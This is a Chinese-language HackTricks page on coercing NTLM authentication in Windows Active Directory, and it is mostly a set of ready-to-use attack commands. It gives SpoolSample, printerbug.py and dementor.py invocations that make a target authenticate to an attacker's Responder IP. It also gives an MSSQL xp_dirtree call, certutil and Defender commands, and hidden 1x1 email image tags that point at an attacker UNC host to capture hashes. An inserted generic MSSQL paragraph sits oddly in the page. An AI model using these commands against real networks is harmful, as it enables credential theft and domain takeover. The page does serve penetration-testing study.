hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

9.6 KiB
Raw Blame History

强制使用NTLM特权身份验证

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

SharpSystemTriggers

SharpSystemTriggers是一个使用MIDL编译器编写的C#代码的远程身份验证触发器集合,用于避免第三方依赖。

Spooler服务滥用

如果启用了_打印池服务您可以使用一些已知的AD凭据向域控制器的打印服务器请求更新新的打印作业,并告诉它将通知发送到某个系统
请注意,当打印机向任意系统发送通知时,它需要对该系统进行身份验证。因此,攻击者可以使
打印池_服务对任意系统进行身份验证并且该服务将在此身份验证中使用计算机帐户。

在域上查找Windows服务器

使用PowerShell获取Windows服务器列表。通常情况下服务器是优先级较高的所以我们将重点关注这些服务器

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

寻找正在监听的打印池服务

使用稍作修改的 @mysmartloginVincent Le TouxSpoolerScanner,查看打印池服务是否正在监听:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

您还可以在Linux上使用rpcdump.py并查找MS-RPRN协议。

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

请求服务对任意主机进行身份验证

您可以从这里编译SpoolSample

SpoolSample.exe <TARGET> <RESPONDERIP>

或者在Linux上使用3xocyte的dementor.pyprinterbug.py

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

结合无限制委派

如果攻击者已经入侵了具有无限制委派的计算机,攻击者可以使打印机对该计算机进行身份验证。由于存在无限制委派,打印机的计算机帐户的TGT将保存在具有无限制委派的计算机的内存中。由于攻击者已经入侵了该主机,他将能够检索此票证并滥用它(传递票证)。

RCP强制身份验证

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

PrivExchange攻击是由于Exchange Server的PushSubscription功能中的一个缺陷导致的,该功能允许任何具有邮箱的域用户强制Exchange服务器对客户端提供的任何主机进行身份验证

Exchange服务以SYSTEM身份运行,并且默认情况下权限过高在2019年累积更新之前具有对域的WriteDacl权限。可以利用此缺陷来中继到LDAP并转储域NTDS数据库。如果无法中继到LDAP则可以利用此缺陷中继和对域内的其他主机进行身份验证。此攻击将使您可以使用任何经过身份验证的域用户帐户直接访问域管理员。

此技术的来源在此。

在Windows内部

如果您已经在Windows机器内部可以使用特权帐户强制Windows连接到服务器方法如下

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

MSSQLMicrosoft SQL Server是一种关系型数据库管理系统常用于存储和管理大量数据。它是由微软开发的广泛应用于企业和组织的数据管理中。

MSSQL具有强大的功能和安全性但在配置不当的情况下可能会存在安全漏洞。黑客可以利用这些漏洞来获取未经授权的访问权限并对数据库进行恶意操作。

以下是一些常见的MSSQL攻击技术

  1. SQL注入攻击黑客通过在应用程序的输入字段中插入恶意SQL代码来执行未经授权的数据库操作。这可以导致数据泄露、数据篡改或拒绝服务攻击。

  2. 弱密码攻击黑客使用暴力破解或字典攻击等方法尝试猜解MSSQL数据库的管理员密码。如果管理员使用弱密码黑客可以轻松获取对数据库的完全控制权。

  3. 未经授权的访问黑客可以通过利用MSSQL服务器上的安全漏洞绕过身份验证机制获取对数据库的未经授权访问权限。这可能导致数据泄露、数据篡改或拒绝服务攻击。

为了保护MSSQL数据库免受攻击以下是一些建议的安全措施

  1. 更新和修补定期更新和修补MSSQL服务器以确保安装了最新的安全补丁和修复程序。

  2. 强密码策略:使用强密码,并定期更改密码。避免使用常见的密码,如生日、姓名或简单的数字序列。

  3. 访问控制限制对MSSQL服务器的访问权限并仅授权给需要访问数据库的用户。

  4. 安全审计启用MSSQL服务器的安全审计功能以便监控和记录对数据库的访问和操作。

  5. 网络安全使用防火墙和入侵检测系统来保护MSSQL服务器免受网络攻击。

通过采取这些安全措施可以大大减少MSSQL数据库受到攻击的风险并保护组织的数据安全。

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

或者使用另一种技术:https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

可以使用certutil.exeMicrosoft签名的二进制文件来强制执行NTLM身份验证

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML注入

通过电子邮件

如果你知道你想入侵的机器上登录用户的电子邮件地址你可以发送一封带有一个1x1像素的图片的电子邮件,例如:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

如果你能对一台计算机进行中间人攻击并在他可视化的页面中注入HTML你可以尝试在页面中注入如下图像

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

破解NTLMv1

如果你能够捕获到NTLMv1的挑战请阅读这里如何破解它们
请记住为了破解NTLMv1你需要将Responder的挑战设置为"1122334455667788"

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥